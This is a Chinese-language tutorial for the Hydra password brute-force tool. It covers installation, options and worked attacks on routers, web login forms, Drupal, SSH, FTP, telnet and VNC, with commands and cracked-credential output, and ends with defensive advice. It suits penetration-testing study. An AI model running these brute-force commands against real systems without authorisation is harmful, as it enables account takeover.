Hydra入门使用手册
vanHauser
TheHackersChoice
目录
0x00什么是Hydra?
0x01Hydra-GTK
0x02如何安装
0x03如何使用Hydra?
0x04参考文档
0x05爆破实例
0x06免责说明
0x07联系我们
0x08防范措施
0x00什么是Hydra?
一个非常快速的网络登录破解程序,支持许多不同的服务。
查看功能集和服务覆盖页面-包括与ncrack和medusa的速度比较
当前版本:8.6最后更新2017-07-21
(c)vanHauser/THC的2001-2017
@thc.org; http://www.thc.org
许多模块都是由David(dot)Maciejak @ gmail(dot)com编写的
BFG代码由Jan Dlabal提供
[email protected]
在AGPLv3下许可(见LICENSE文件)
请不要在军事或秘密服务机构使用,
或为非法目的。
0x00什么是Hydra?
首先,欢迎来到THCHydra项目的mini-website。
每个密码安全研究显示表明,最大的安全漏洞之一是密码。
而九头蛇是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra是灵活和迅速的
Hydra在Linux,Windows/Cygwin,Solaris11,FreeBSD8.1,OpenBSD,OSX,QNX/Blackberry上测试和编译,并在GPLv3下提供了特殊的OpenSSL许可证扩展。
目前此工具支持:
Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,
HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,
HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,
PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,
SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.
对于HTTP,POP3,IMAP和SMTP,支持多种登录机制,如plain和MD5等。
这个工具是一个概念模型,是
为了让安全员和安全顾问验证提供一种可能性:从远程系统到系统的未经授权的访问是多么容易。
该程序被写入了vanHauser,并得到了DavidMaciejak的额外支持。
0x01Hydra-GTK
1.选择目标,准备爆破
2.选择爆破ID,爆破字典
3.Hydra结果和输出
0x02如何安装
第一部分:下载
1.生产/发布版本:
最新的Hydra的源代码:hydra-8.6.tar.gz
(在所有基于UNIX的平台上编译-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)
2.发展版本:
您可以下载并编译当前在GITHUB存储库中开源的开发版本的hydra:
https://github.com/vanhauser-thc/thc-hydra
可以选择:
svn co https://github.com/vanhauser-thc/thc-hydra
或者:
git clone https://github.com/vanhauser-thc/thc-hydra.git
注意这是开发版本!新功能-伴随着新的bug。可能会导致Hydra无法运行!
1.只有旧版的Hydra才能使用源代码,只要是v7.x,就可以让您在不寻常的旧平台上出现问题:
hydra-5.9.1-src.tar.gz
2.Win32/Cywin二进制版本:---不再更新---
从http://www.cygwin.com安装cygwin并自行编译。如果您没有安装cygwin - 那你将如何通过cygwin做适当的安全测试呢?.
这里是旧版本的ARM和Palm二进制文件,我们已经不再维护:
Palm:hydra-4.6-palm.zip
第二部分:编译
Hydra在所有具有gcc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平台上都可以编译。
$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /
一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:
$ ./configure
它甚至可以在旧版本的SunOS,Ultrix等平台进行编译;Htdra有很多可选模块,比如用于SSH的库,SVN等网络协议。
如果有些库消失了,这些库可能就是不被您的二进制文件支持。如果您在Linux上,麻烦以下命令,这将安装所有必需的库:
Ubuntu / Debian:
apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev
Redhat / Fedora:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
OpenSuSE:
zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel
以上所有可选的模块和功能不包括Oracle,SAPR/3和Apple文件协议-所以您需要从提供源的网站下载和安装。
对于Oracle,这是(基本安装和SDK包)的地址:
http : //www.oracle.com/technetwork/database/features/instant-client/index.html
对于所有其他Linux派生和基于BSD的系统,请使用系统软件安装程序并查找类似命名库,如上面的命令。
在所有其他情况下,您就只能手动下载所有源库并手动编译;Hydra的配置脚本会告诉您什么库是缺失,以及可以从哪里获得。
0x03如何使用Hydra
3.1.简单使用
当你刚刚进入“hydra”,您将看到一个重要的简短摘要:可用选项输入“./hydra -h
”以查看所有可用的命令行选项。
请注意,不包括登录/密码文件。你需要自己生成它们,或者使用别人已经生成的;然而,默认密码列表存在,使用“dpl4hydra.sh
”生成一个列表。对于Linux用户,可以使用GTK gui,尝试“./xhydra”
对于命令行用法,语法如下:
对于攻击一个目标或网络,您可以使用新的“://”样式:
hydra[某些命令行选项]协议://目标:端口/选项
旧模式也可以用于这些,另外如果你想的话,从文本文件中指定目标,你必须使用这个:
hydra[某些命令行选项][-s端口]目标协议选项
通过命令行选项,您可以指定要尝试的登录名,哪些密码,如果使用SSL,需要使用多少个并行任务才能进行攻击等。PROTOCOL是您要用于攻击的协议,例如ftp,smtp,http-get或许多其他可用目标都是要攻击的目标,选项是每个PROTOCOL模块特殊的可选值。
第一:选择您的目标
您有三个选项可以指定要攻击的目标:
1.命令行上的单个目标:只需将IP或DNS地址放入
2.命令行上的网络范围:CIDR规范如“192.168.0.0/24”
3.文本文件中的主机列表:每个条目一行(见下文)以文本形式形成一份txt文档
第二:选择您的协议
尝试避免telnet,因为检测到正确或错误的登录尝试是不可靠的。其次可以使用端口扫描器查看目标上启用了哪些协议。
第三:检查模块是否有可选参数
hydra-U协议:例如hydra-Usmtp
此外:目标端口
目标端口是可以自己选择的!如果没有提供默认公用端口,可以自行设置协议的端口;
如果指定要使用SSL(“-S”选项),则默认使用SSL公用端口。如果使用“://”符号,则必须使用“[”“]"括号去支持IPv6地址或CIDR(“192.168.0.0/24”)爆破:
hydra[一些命令行选项]ftp://[192.168.0.0/24]/
hydra[某些命令行选项]-6smtp://[2001:db8::1]/NTLM
请注意,所有hydra都是IPv4的!如果要攻击IPv6地址,则必须添加“-6”命令行选项。所有攻击都将会是IPv6!
如果要通过文本文件提供目标,则不能使用://符号,但使用旧样式,只提供协议(和模块选项):
hydra[某些命令行选项]-Mtargets.txtftp
可以在每个目标之后添加“:”,为每个目标条目提供端口,例如:
foo.bar.com
target.com:21
unusual.port.com:2121
default.used.here.com
127.0.0.1
127.0.0.1:2121
请注意,如果要附加IPv6目标,则必须提供-6选项,*必须*将IPv6地址放在文件[]中的括号中,
如下所示:
foo.bar.com
target.com:21
[FE80::1%的eth0]
[2001::1]
[2002::2]:8080
[2A01:24A:133:0:00:123:FF:1A]
3.2登录和密码
有很多关于登录和密码攻击的选项,比如使用-l进行登录,-p为密码,请告诉hydra这是唯一的登录尝试和/密码尝试。
使用-L进行登录,-P为密码,您可以提供带条目的文本文件。
例如:
hydra -l admin -p password ftp:// localhost /
hydra -L default_logins.txt -p test ftp:// localhost /
hydra -l admin -P common_passwords.txt ftp:// localhost /
hydra -L logins.txt -P passwords.txt ftp:// localhost /
此外,您可以通过“-e”选项根据登录尝试密码。“-e”选项有三个参数:
s - 尝试登录密码
n - 尝试一个空的密码
r - 反转登录并尝试密码
如果你想,例如尝试“尝试登录密码和”空密码“,你在命令行上指定“-e sn”。但是,尝试密码的方式还有两种:-p /P:
您可以使用文本文件,文本内的登录名和密码对由冒号分隔,例如:
管理员:密码
测试:测试
FOO:酒吧
这是一个常见的默认帐户样式列表,也是由dpl4hydra.sh与hydra一起提供的默认帐户文件生成器生成的。当使用这样一个文本文件与-C选项 - 请注意,在这种模式下你不能使用-l / -L / -p / -P选项(-e nsr但是可以)
。例:
hydra -C default_accounts.txt ftp:// localhost /
最后,有一个使用-x选项的暴力模式(你不能使用-p / -P / -C
),
使用-x minimum_length:maximum_length:charset
字符集定义是小写字母的“a”,大写字母的“A”,“1”的数字和其他任何你提供它是他们的真实代表。
例子:
-x1:3:a将所有小写字母从长度1到3生成密码
-x2:5:/将密码从长度2到5只包含斜杠
-x5:8:A1使用大写和数字生成长度为5到8的密码
例:
hydra -l ftp -x 3:3:a ftp:// localhost /
3.3模块的特殊选择
通过第三个命令行参数(TARGETSERVICEOPTIONAL)或-m命令行选项,您可以将一个选项传递给模块。许多模块使用这个,有几个需要它!要查看模块的特殊选项,输入:
hydra -U <module>
例如:
./hydra -U http-post-form
特殊选项可以通过-m参数作为第三个命令行传递,选项或服务://target/option格式。
例子(他们其实是一样的):
./hydra -l test -p test -m PLAIN 127.0.0.1 imap
./hydra -l test -p test 127.0.0.1 imap PLAIN
./hydra -l test -p test imap://127.0.0.1/PLAIN
3.4恢复被破坏/中断的会话
当Hydra被Control-C中止,死亡或者崩溃时,它会留下“hydra.restore”文件,文件包含所有必要的信息,所以我们可以恢复会话。但要注意该会话文件每5分钟写一次。此外:hydra.restore文件不能复制到不同的平台(例如从低位编码littleendian到高位编码bigendian,或从solaris系统到aix)
3.5如何扫描/破解代码
环境变量HYDRA_PROXY_HTTP定义了Web代理(只为http服务!)。
以下语法有效:
HYDRA_PROXY_HTTP = “
http://123.45.67.89:8080/”
HYDRA_PROXY_HTTP = “HTTP://login:[email protected]:8080 /”
HYDRA_PROXY_HTTP = “proxylist.txt”
最后一个例子是一个包含多达64个代理的文本文件(同样的),格式定义作为其他示例。
对于所有其他服务,请使用HYDRA_PROXY变量进行扫描/破解。它使用相同的语法。例如:
HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:password@] proxy_addr:proxy_port
例如:
HYDRA_PROXY =connect://proxy.anonymizer.com:8000
HYDRA_PROXY = SOCKS4:// AUTH:[email protected]:1080
HYDRA_PROXY = socksproxylist.txt
3.6额外的提示
*按可能性排序您的密码文件,并使用-u选项查找密码更快!
*单击你的字典文件!这可以节省你很多时间:-)
cat words.txt | sort | uniq > dictionary.txt
*如果您知道目标是使用密码策略(允许用户),只能选择最小长度为6的密码,至少包含一个密码,字母和一个数字等使用工具pw-inspector,用hydra包减少密码列表:
cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt
3.7结果输出
结果输出到stdio以及其他信息。通过-o命令行选项,结果也可以写入文件。使用-b,并且可以指定输出的格式。目前,这些被支持:
*文本-纯文本格式
*`jsonv1`-使用版本1.x的JSON数据(定义如下)。
*`json`-JSON数据使用最新版本的模式,目前在那里只是版本1。
如果使用JSON输出,结果文件可能不是有效的JSON,如果有的话,Hydra的严重错误。
###JSONSchema
以下是JSON输出示例。标记一些参数的注意事项:
*`errormessages`-通常打印的零个或多个字符串的数组在九头蛇的运行结束时到stderr。文本是非常自由的形式。
*“success”-指示Hydra是否正常运行,是否是没有错误(**NOT**如果检测到密码)。该参数是JSON值“true”或“false”取决于是否完成密码爆破。
*`quantityfound`-发现了多少用户名+密码组合。
*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra将使2.0版本从低位跨越双字节高位,(而不是只有v1.1vsV1.10)。低版本是不断叠加的,所以1.02将包含比1.0版本更多字段去实现向后兼容。版本2.x也将会从1.x版本的输出去掉一些东西。
1.00的案例:
Version 1.00 example:
{
"errormessages": [
"[ERROR] Error Message of Something",
"[ERROR] Another Message",
"These are very free form"
],
"generator": {
"built": "2017-03-01 14:44:22",
"commandline": "hydra -b jsonv1 -o results.json ... ...",
"jsonoutputversion": "1.00",
"server": "127.0.0.1",
"service": "http-post-form",
"software": "Hydra",
"version": "v8.5"
},
"quantityfound": 2,
"results": [
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "bill",
"port": 9999,
"service": "http-post-form"
},
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "joe",
"port": 9999,
"service": "http-post-form"
}
],
"success": false
}
0x04参考文档
Hydra带有一个相当长的README文件来描述,有关使用和特殊选项的详细信息。当然你也可以参考本文快速入门。
但有时详细的在线帮助可以大大提高您的效率。
推荐阅读以下链接,部分可能需要梯子,自备哦
安装:
http://www.madirish.net/content/hydra-brute-force-utility
一般用法和选项:
http://www.aldeid.com/wiki/Thc-hydra
http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)
HTTP基本认证:
https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29
http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html
基于HTTP表单的auth:
http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html
http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html
https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29
多协议:
http://www.madirish.net/content/hydra-brute-foece-utility
Telnet:
http://www.adeptus-mechanicus.com/codex/bflog/bflog.html
对于那些用DVWA测试的人来说,这就是你想要的:
hydra-ladmin-ppasswordhttp-get-form“/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed”
以下对参考文档主要内容的详细介绍,取其精华,去其糟粕,同样,也会增加实例到渗透测试:爆破篇,敬请期待
0x05爆破实例
接下来将简单描述几个Hydra使用的实例!
实例1.爆破路由器
思路:当你登录路由器默认管理地址时,使用Hydra爆破
首先,找到你的路由器IP,你应该已经知道了,我的是192.168.1.1,此路由器的默认用户名为“admin”。如果由于某种原因,不记得密码了,现让我们来找回密码。
然后,打开准备好的Hydra,windows下打开CMD或Powershell打开命令提示符并进入到Hydra目录
运行下面的命令替换你的值(命令标志区分大小写)。
hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /
实际命令如下所示:
hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /
命令分解:
hydra - > hydra程序
-l - >(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表
-P - >提供密码list的路径。-p尝试单个密码,即“passw0rd”
-s - >端口目标您的路由器可能会运行在不同的端口,如8080
{IP地址}这个不用解释
http-get - >暴力破解的服务部分
“/” - >这将指定要定位的页面,如果这被排除,命令将不会运行。“/”只是表示不包括root“
如果你的字典和Hydra一样强,你将在输出行收获一个用户名和密码,这也意味着你成功了!
实例2.爆破HTTP
首先需要确认的几件事情:
返回页面
Post参数
文本尝试失败
返回页面
这通常与登录页面相同,但并不总是如此。所以只需查看页面的源代码,并找到一个方法让表单=“post”。动作值是将被“发布”的页面的值。正如你可以看到要发布的页面是“index.php”
Post参数
这些可以通过查看登录页面的源代码来找到。表单中的所有标签都将被发布。帖子名称将是标签的“name”属性。如果它有一个定义,该值将是“值”属性。相应的,你可以使用firefox插件Hackbar篡改数据扩展。
文本尝试失败
这是登录尝试失败时在网页上找到的文字。
把它们放在一起:
网站:www.sillychicken.co.nz/administrator/
返回页面:index.php
返回值是:usrname=(用户输入),pass=(用户输入),提交=Login
现在,我们从页面源中提取,尝试登录到管理页面,我们得到一个javascript弹出窗口,其中显示“用户名不正确,密码......”
“不正确的用户名”听起来像是不会显示的文字,如果是一个成功的登录,我们将使用它。
让我们将它们全部融入Hydra中:
hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form “{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}“
我的命令看起来像:
hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form “/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username”
命令分析
hydra->hydra程序
-l->(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表)我已经为此演示设置了“hydra”帐户,并已被删除
-P->提供密码lis的路径。-p尝试单个密码,即“passw0rd”
-s->端口到http的默认端口为80
-f->在第一个匹配后退出程序
{SiteAddress}IEwww.sillychicken.com ->不要包含http://
http-post-form->服务到暴力 HydraREADME具有http-form-post的命令,将会发生错误
{Pathtopostbackpage}->所有后续站点地址必须以“/”开头
{USERNAME_NAME}->用户名回发变量名称
^USER^->这将被替换为由-l或-L用户名指定的用户名
^PASS^->这将被替换为定义的列表中的密码
{Failedlogintext}->只会在失败中找到的文本登录
注意事项:*确保是从http-post-form“到结束命令之后
实例3.爆破Drupal站点
安装九头蛇
为了安装Hydra,首先从http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下载Hydra源码
unzip hydra:
$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /
一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:
$ ./configure
Starting hydra auto configuration ...
Checking for openssl (libssl/ssl.h) ...
... NOT found, SSL support disabled
Get it from
http://www.openssl.org
Checking for Postgres (libpq.so) ...
... found
Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...
... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...
... NOT found, module firebird disabled
Checking for NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
... NOT found, module sapr3 disabled
Get it from
http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
... NOT found, module ssh2 disabled
Get it from
http://www.libssh.org
Checking for GUI req's (pkg-config) ...
... found
Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)
Writing Makefile.in ...
now type "make"
这些错误意味着某些依赖关系未安装。你仍然可以使用没有这些依赖关系的Hydra,但如果没有这些依赖关系,你将无法使用它们支持的协议。例如,上述错误意味着我们将无法执行SSL,SVN,甚至SSH爆破。除了这些常见的协议之外,错误表明支持firebird,NCP,SAP都缺少相应的依赖。Firebird是一种数据库技术。NCP是用于控制NetWare设备的NetWare支持协议,SAP /R3是用于客户关系类型包(认为结算和业务任务有关)的协议。不支持这些协议,Hydra的实用程序受到严格限制,因此你应该努力寻找支持这些功能的软件包。安装程序提供了一些有用的链接来查找所需的库。一般来说,如果你搜索[package]-dev或-devel,找到你的发行版的支持库。
现在在Fedora上使用:
$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel
这应该允许使用除SAP库之外的所有库。
一旦安装了所有依赖项,通过重新运行configure,然后make和最后make install命令。确保作为“make install”命令的特权用户运行,以便将所需的库放在文件系统上(即使用“sudo make install”)。
安装完成后,你可以从命令行使用Hydra或GUI版本的xHydra。使用命令行对于大多数需求是完全足够的,但是有时GUI是有帮助的。
有效的爆破
暴力攻击的力量受到攻击者提供的输入的限制。当尝试猜测用户名和密码时,有两个主要的策略:
第一个是尝试盲目的爆破。为此,攻击工具会从预定义集合的组合中生成用户名和密码。通常这是数字和字母。例如,在盲目爆破攻击中,系统首先尝试使用密码“a”作为用户“a”登录。接下来,它尝试以用户'a'登录,密码为'b'等等,循环遍历所有可能的笛卡尔可能性。这种方法在时间上是非常低效的,但最终将找到有效的凭据。
第二种方法是使用列表作为输入。为此,将向攻击工具提供用户名和密码列表。然后,该工具将用户列表中的第一个帐户和密码列表中的第一个密码,依次连续尝试每个用户的密码。这可以通过将可用输入限制到更小的集合来加快此过程。
暴力攻击的主要缺点是他们花费的时间很长。然而,通过减少变量,可能会加速暴力攻击。收集用户名/密码样式认证系统的有效用户列表将有效用户的猜测限制,极大地减少了连接尝试次数。许多服务将以公开有效的用户帐户如电子邮件地址或其他显示数据的形式,提供给Hydra的用户文件,这样准确性将大大提高。
用例:爆破Drupal
九头蛇可以用于许多不同类型的暴力攻击。Hydra对于老式的爆破工具(如Brutus)的一个优点是其能够执行HTTP post form攻击。这允许你使用Hydra来攻击基于Web的应用程序,甚至是具有反XSRF格式令牌的应用程序。
Hydra的一个潜在用例是测试Drupal用户名和密码的强度。例如,如果在http://172.16.46.129/drupal-6.16/中安装了Drupal站点,我们可以使用任意数量的方法来收集users.txt中有效用户列表(包括http:// www.madirish.net/?article=443)。一旦我们有一个用户列表和可能的密码列表(可能保存为passwords.txt),同时我们需要发现一个最终的组件。Drupal使用令牌保护所有表单(包括登录表单),因此我们需要在Web浏览器中提取目标,查看源代码并找到令牌组件,例如:
</ ul> </ div> <input type =“hidden”name =“form_build_id”id =“form-6fae72d47e80c07782f8d9f8a92b37ca”value =“form-6fae72d47e80c07782f8d9f8a92b37ca”/>
<input type =“hidden”name =“form_id”id =“edit-user-login-block”value =“user_login_block”/>
注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,这是我们需要提供的令牌,因此Drupal可以验证表单的帖子。除了表单令牌之外,你还需要找到表单字段名称以及表单后期操作URI。收集所有这些数据后,最后一步是在登录失败时找到出现在页面中的唯一字符串。没有这个Hydra无法确定登录尝试是否成功。默认情况下,Drupal提供字符串“对不起,无法识别的用户名或密码”。密码失败时。装备了这最后的信息,我们可以开始一个九头蛇暴力攻击:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."
Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (
http://www.thc.org\
starting at 2010-06-25 11:56:02`
[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 172.16.46.129 login: admin password: password
[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)
Hydra (
http://www.thc.org\
finished at 2010-06-25 11:56:03`
以上输出显示,Hydra使用用户名“admin”和密码“password”成功登录到目标站点。请注意,这两个值都分别显示在user.txt和passwords.txt文件中。
Hydra可以用来攻击一长串协议。例如,使用以下命令可以攻击上述同一主机上的SSH服务器:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2
Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (
http://www.thc.org\
starting at 2010-06-25 12:17:35`
[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task
[DATA] attacking service ssh2 on port 22
[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)
[22][ssh2] host: 172.16.46.129 login: admin password: password
Hydra (
http://www.thc.org\
finished at 2010-06-25 12:17:39`
同样,此输出显示登录“admin”和密码“password”可以用于访问目标上的SSH。
实例4.爆破FTP和Web
1.介绍
当攻击者想要了解在线系统时,他可以使用字典爆破攻击。下面简单介绍了两种类型的攻击,并解释了如何使用Hydra启动在线字典攻击。
2.爆破与字典攻击
攻击者可以尝试所有可能的密码组合(暴力方法)。好处是对获得正确密码是有利的。缺点是这是一个非常耗时的过程。
攻击者可以建立一组连接数字(字典中的示例性模式)的通用字,并尝试从该集合中的每个组合。这种方法(字典攻击)可以节省攻击者的时间,因为他不必强制整个关键空间。缺点是不能保证找到正确的密码。然而,打入正确密码的可能性是非常好的。
3.环境
Hydra被描述为支持许多服务的网络登录破解者。下面简单介绍如何使用Hydra启动对FTP和Web表单的在线字典攻击。
Metasploitable是一种基于Linux的漏洞环境虚拟机。例如,它可以用于练习渗透测试技能。请记住,此机器易受攻击,不应以桥接模式运行。
DVWA(Damn Wulnerable Web Application)是一种有意易受攻击的Web应用程序。对于那些想要了解Web应用程序安全性的人来说,这是非常棒的环境。DVWA是Metasploitable的一部分。
4.字典
让我们创建两个简短的描述字典。
用户列表(list_user):
1
2
3
admin_1
admin
msfadmin
密码列表(list_password)
1
2
3
4
password_1
password
msfadmin
password_2
有12种组合进行检查(3个用户4次密码)。这些组合包括DVWA登录表单和Metasploitable FTP(DVWA登录表单的管理员/密码; Metasploitable FTP的msfadmin / msfadmin)的默认凭据。
5.Metasploitable字典攻击FTP
使用以下命令启动攻击:
dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V
使用上述字典(list_user和list_password)。Metasploitable FTP服务器的IP地址为192.168.56.101。这就是为什么在命令中使用ftp模块。应该使用-V来查看每次尝试的用户名和密码。
如下所示,Hydra已经找到一对有效的用户名和密码(用户名:msfadmin,password:msfadmin)。
6.DVWA词典攻击Web登录表单
使用以下命令启动攻击:
dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
上述字典(list_user和list_password)再次被使用。DVWA的IP地址为192.168.56.101。DVWA的登录表单可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。当用户登录时,生成以下请求(由Burp Suite 拦截):
关键部分标记在屏幕截图上。它们是http-post-form模块参数的值:
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
^ USER ^和^ PASS ^分别替换为用户名(来自list_user)和密码(list_password)。当登录尝试失败时,服务器将以“登录失败”消息进行响应,该消息是最后一个参数的值。
最后,应该使用-V来查看每次尝试的用户名和密码。
如下所示,Hydra已经找到一对有效的用户名和密码(用户名:admin,password:password)。
7.总结
本文介绍了两种类型的在线密码攻击(爆破,字典),并介绍了如何使用Hydra对FTP和Web表单启动在线字典攻击。Hydra是一个支持许多服务的网络登录破解者
[1]。Metasploitable可用于实践渗透测试技能
[2]。DVWA(Damn Wulnerable Web Application)对于那些想要使用Web应用程序安全性的人来说是有帮助的。
参考文献:
Hydra
[2] Metasploitable
http://www.offensive-security.com/metasploit-unleashed/Metasploitable
[3] DVWA(Damn Wulnerable Web Application)
[4] Burp suite
实例5.爆破Telnet
爆破是一个相当简单的思维,也是一个非常强大的想法。简单地说这是什么意思 攻击者将尝试每个可能的字符组合,以尝试猜测你的密码/密钥等。这是为什么密码很重要的原因之一,因为爆破攻击会找到你的密码,你需要确保密码爆破在所需时间使其在技术上不可行。我们也简要地看了一下使用爆破来破解你所拥有的密码文件,但是这次我爆破一些登录服务。
忧虑
这两个主要原因是:
许多公司通过其防火墙允许一些服务,无论是ftp,pop3,ssh甚至网页登录到某个地方。所有这些都可以是爆破的。此外,这样做的工具易于使用和获取。
爆破的基本概念有所改变。许多爆破工具允许你指定密码或用户名列表。这是因为使用这些比传统的爆破更快。但是使用现代的硬盘驱动器大小和方法(彩虹表,组合攻击等),使用所有可能的字符组合创建一个文件是非常可行的,使用这样一个文件会减少运行这种攻击所需的时间。
使用linux系统进行爆破
让我展现出一个可以在linux和相关系统上使用的实用程序 - Hydra。
该软件来自THC,它是一个非常有用的基于命令行的程序,可以处理许多不同的协议。这是从4.6版本我正在使用的列表
支持的协议:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]
让我们从一个简单的服务开始 - telnet ..
# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v
Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08
[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task
[DATA] attacking service telnet on port 23
[23][telnet] host: 10.0.0.50 login: easy password: 12345
[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h
[23][telnet] host: 10.0.0.50 login: public password: joe
[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h
[23][telnet] host: 10.0.0.50 login: sue password: joe
[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08
现在首先,这个服务器有一些很简单的密码和用户名设置(你可以看到),现在看看我使用的交换机..
-L,指定用户名列表,注意大小写不同
-P,指定密码列表
-e,尝试null和相同(与用户名相同)密码
-t,以指定要运行的parralel进程的数量
那么目标IP和服务
-v,用于详细
让我们尝试运行它与常用的东西..
# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V
Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28
[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task
[DATA] attacking service vnc on port 5900
[5900][vnc] host: 10.0.0.100 login: password: 123456
[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30
正如你所看到的那样,VNC也是如此,所有我改变的是...
将用户名指定为null,-l“”
停止检查相同的密码,-en
简单,强大,实用
0x06免责说明
1.请勿在军事或秘密服务机构或非法目的使用。
2.Affero通用公共许可证版本3(AGPLv3)适用于此代码。
3.包含了OpenSSL的特殊许可扩展,这是Debian家族所需要的
0x07联系我们
诚心需要大家的帮助!
如果您发现错误,编码增强功能或为服务写入新的攻击模块,请将它们发送到[email protected]
有趣的攻击模块将是:OSPF,BGP,PIM,PPTP,...(或任何你可能做的事情(而且还没有)
请注意,您也可以通过github下载并提交:https://github.com/vanhauser-thc/thc-hydra
非常感谢大家的建议!
Yourssincerly,
vanHauser
TheHackersChoice
0x08防范措施
由于在攻击期间导致的失败的登录尝试次数很多,所以爆破是非常容易发现的。有几种有效的策略来检测和预防这种攻击。
1.最有效的策略之一是限制失败的登录尝试次数。使用此策略可以在一定数量的故障之后阻止主机或锁定帐户。在实施这种方法时应该小心,因为攻击者可能会故意导致帐户被锁定而导致拒绝服务条件。由于响应有效的用户引起认证失败,使用此策略也会提高服务的支持成本。
2.另一个策略是限制连接尝试。许多服务允许配置此值。通过限制连接尝试次数,可能必须重新启动攻击工具才能完成攻击。这种类型的配置可能会使攻击者充分混淆,从而使他们远离。至少它会防止自动攻击。
